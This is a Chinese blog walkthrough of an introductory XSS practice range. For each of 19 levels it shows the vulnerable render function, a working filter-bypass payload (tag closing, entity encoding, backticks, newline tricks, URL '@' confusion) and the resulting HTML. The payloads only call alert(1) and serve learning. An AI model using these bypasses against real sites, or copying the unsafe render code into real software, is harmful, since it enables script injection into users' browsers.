XSS 小游戏练习

Mr.R0boter 于 2020-11-20 发布

前言

今天在闲逛时发现一个针对 XSS 入门的小靶场,想想自己这一年来一直都在学习开发方面的知识,对安全的东西有些生疏了,正好可以当作复习了

靶场一共有 18 个题目,每道题分为 Server Code(服务端代码)、Input Code(可输入点)、Html(显示点)。分析 Server Code 在 Input Code 处输入构造的 Payload,最后结果会显示在 Html 处。都是 XSS 最基础的知识点,非常适合入门学习,因此记录一下

靶场地址:https://xss.haozi.me

Tips:此靶场只适合了解 XSS,并不具备任何实战意义

0x00

最基础的弹窗代码

Server Code

function render(input) {
  return "<div>" + input + "</div>";
}

Input Code

<script>alert(1)</script>

HTML

<div>
  <script>
    alert(1);
  </script>
</div>

0x01

标签闭合

Server Code

function render(input) {
  return "<textarea>" + input + "</textarea>";
}

Input Code

</textarea><script>alert(1)</script>

HTML

<textarea></textarea><script>alert(1)</script>
  </textarea>

0x02

引号和标签闭合

Server Code

function render(input) {
  return '<input type="name" value="' + input + '">';
}

Input Code

"><script>alert(1)</script>

HTML

<input type="name" value="" />
<script>
  alert(1);
</script>
">

0x03

正则替换了小括号,用实体字符绕过或使用反引号绕过。

实体字符绕过是 HTML 的一个知识点:HTML 会将实体字符解析成对应的符号,因此在 HTML 的标签中可以通过实体字符来绕过 JS 中的过滤,但是 JS 代码中无法解析 HTML 编码,所以无法使用

反引号绕过是 JS 的一个知识点:JS 会将反引号中的内容作为可执行代码(很多脚本语言都有这个特性)

<script>标签

Server Code

function render(input) {
  const stripBracketsRe = /[()]/g;
  input = input.replace(stripBracketsRe, "");
  return input;
}

Input Code

<!-- HTML标签使用实体字符绕过 -->
<img src="" onerror="alert&#40;&#49;&#41;" />
<!-- 使用反引号绕过 -->
<img src="" onerror="alert`1`" />

HTML

<img src="" onerror="alert&#40;&#49;&#41;" /> <img src="" onerror="alert`1`" />

0x04

正则替换了小括号和反引号,使用 HTML 编码绕过

Server Code

function render(input) {
  const stripBracketsRe = /[()`]/g;
  input = input.replace(stripBracketsRe, "");
  return input;
}

Input Code

<img src="" onerror="alert&#40;&#49;&#41;" />

HTML

<img src="" onerror="alert&#40;&#49;&#41;" />

0x05

使用--!>闭合掉注释标签,换行只是个人习惯

Server Code

function render(input) {
  input = input.replace(/-->/g, "😂");
  return "<!-- " + input + " -->";
}

Input Code

--!> <img src="" onerror="alert&#40;&#49;&#41;" />

HTML

<!-- --!>
  <img src="" onerror=alert&#40;&#49;&#41;>
 -->

0x06

利用正则不匹配换行符的特性,使用换行绕过

Server Code

function render(input) {
  input = input.replace(/auto|on.*=|>/gi, "_");
  return `<input value=1 ${input} type="text">`;
}

Input Code

onclick =alert(1)

HTML

<input value="1" onclick="alert(1)" type="text" />

0x07

利用 HTML 标签不闭合也能解析的容错机制,闭合掉前面的标签

Server Code

function render(input) {
  const stripTagsRe = /<\/?[^>]+>/gi;

  input = input.replace(stripTagsRe, "");
  return `<article>${input}</article>`;
}

Input Code

< /article
<img src="" onerror=alert(1)
<!--

HTML

<article>< /article
<img src="" onerror=alert(1)
<!--</article>

0x08

利用 HTML 容错机制绕过正则替换

Server Code

function render(src) {
  src = src.replace(/<\/style>/gi, "/* \u574F\u4EBA */");
  return `
    <style>
      ${src}
    </style>
  `;
}

Input Code

</style >
<img src="" onerror="alert(1)"

HTML

<style>
      </style >
<img src="" onerror="alert(1)"
    </style>

0x09

匹配指定的 URL 后闭合双引号和标签

Server Code

function render(input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/;
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`;
  }
  return "Invalid URL";
}

Input Code

https://www.segmentfault.com/"></script><img src="" onerror="alert(1)"><!--

HTML

<script src="https://www.segmentfault.com/"></script><img src="" onerror="alert(1)"><!-- "></script>

0x0A

此题是将可能的符号都做了转义为实体符号,并且需要匹配指定的 URL,题解给出的解法是访问此网站根目录下的j.js文件,但实际使用时不生效,查看了一些其他人的博客也是同样不生效,不知道为什么

其利用的知识点其实是 URL 访问中如果存在@符号,则会访问到最后面的那个 URL 地址

Server Code

function render(input) {
  function escapeHtml(s) {
    return s
      .replace(/&/g, "&amp;")
      .replace(/'/g, "&#39;")
      .replace(/"/g, "&quot;")
      .replace(/</g, "&lt;")
      .replace(/>/g, "&gt;")
      .replace(/\//g, "&#x2f");
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/;
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`;
  }
  return "Invalid URL";
}

Input Code

https://www.segmentfault.com@xss.haozi.me/j.js

HTML

<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>

0x0B

知识点:HTML 对大小写不敏感,JS 对大小写敏感

所以将 JS 代码进行 HTML 编码,嵌入到 HTML 标签中就可以绕过大写转换函数

Server Code

function render(input) {
  input = input.toUpperCase();
  return `<h1>${input}</h1>`;
}

Input Code

</h1>
<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
<H1>

HTML

<h1></h1>
<img src="" ONERROR="&#X61;&#X6C;&#X65;&#X72;&#X74;&#X28;&#X31;&#X29;" />
<h1></h1>

0x0C

和上一题一样,不过是替换了 script 关键字,使用 HTML 标签就行了

Server Code

function render(input) {
  input = input.replace(/script/gi, "");
  input = input.toUpperCase();
  return "<h1>" + input + "</h1>";
}

Input Code

</h1>
<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
<H1>

HTML

<h1></h1>
<img src="" ONERROR="&#X61;&#X6C;&#X65;&#X72;&#X74;&#X28;&#X31;&#X29;" />
<h1></h1>

0x0D

  1. 在 html 的 script 标签中<!---->可以分开单独使用,都能作为单行注释。因为过滤了<所以使用-->作为单行注释

  2. 换行绕过单行注释

Server Code

function render(input) {
  input = input.replace(/[</"']/g, "");
  return `
    <script>
          // alert('${input}')
    </script>
  `;
}

Input Code


alert(1)
-->

HTML

<script>
  // alert('
  alert(1);
  -->')
</script>

0x0E

古英文中ſ等于现在的s,绕过 script。JS 大小写敏感,HTML 大小写不敏感,所以通过引用外部链接的方式,引用其他 js 文件

Server Code

function render(input) {
  input = input.replace(/<([a-zA-Z])/g, "<_$1");
  input = input.toUpperCase();
  return "<h1>" + input + "</h1>";
}

Input Code

<ſcript src="https://xss.haozi.me/j.js"></script>

HTML

<h1><script src="HTTPS://XSS.HAOZI.ME/J.JS"></script></h1>

0x0F

他这里对 html 标签的行内字符进行转义并没有任何作用,因为浏览器会先解析 html 再解析 js,所以它转义后的实体字符还是会先被解析。所以直接闭合就行了

Server Code

function render(input) {
  function escapeHtml(s) {
    return s
      .replace(/&/g, "&amp;")
      .replace(/'/g, "&#39;")
      .replace(/"/g, "&quot;")
      .replace(/</g, "&lt;")
      .replace(/>/g, "&gt;")
      .replace(/\//g, "&#x2f;");
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`;
}

Input Code

');alert('1

HTML

<img src onerror="console.error('&#39;);alert(&#39;1')" />

0x10

JS 闭合和语句结束符

Server Code

function render(input) {
  return `
<script>
  window.data = ${input}
</script>
  `;
}

Input Code

"";
alert(1);

HTML

<script>
  window.data = "";
  alert(1);
</script>

0x11

虽然做了转义,但转义后还是造成了双引号的闭合

Server Code

// from alf.nu
function render(s) {
  function escapeJs(s) {
    return (
      String(s)
        .replace(/\\/g, "\\\\")
        .replace(/'/g, "\\'")
        .replace(/"/g, '\\"')
        .replace(/`/g, "\\`")
        .replace(/</g, "\\74")
        .replace(/>/g, "\\76")
        .replace(/\//g, "\\/")
        .replace(/\n/g, "\\n")
        .replace(/\r/g, "\\r")
        .replace(/\t/g, "\\t")
        .replace(/\f/g, "\\f")
        .replace(/\v/g, "\\v")
        // .replace(/\b/g, '\\b')
        .replace(/\0/g, "\\0")
    );
  }
  s = escapeJs(s);
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`;
}

Input Code

");alert("1

HTML

<script>
  var url = 'javascript:console.log("");alert("1")';
  var a = document.createElement("a");
  a.href = url;
  document.body.appendChild(a);
  a.click();
</script>

0x12

将双引号转义后又使用单引号包裹,因此再加一个转义符,将双引号转义后的转义符进行转义,就实现了双引号的闭合。最后面的就直接注释掉了

Server Code

// from alf.nu
function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

Input Code

\");alert(1) //

HTML

<script>
  console.log("\\");
  alert(1); //");
</script>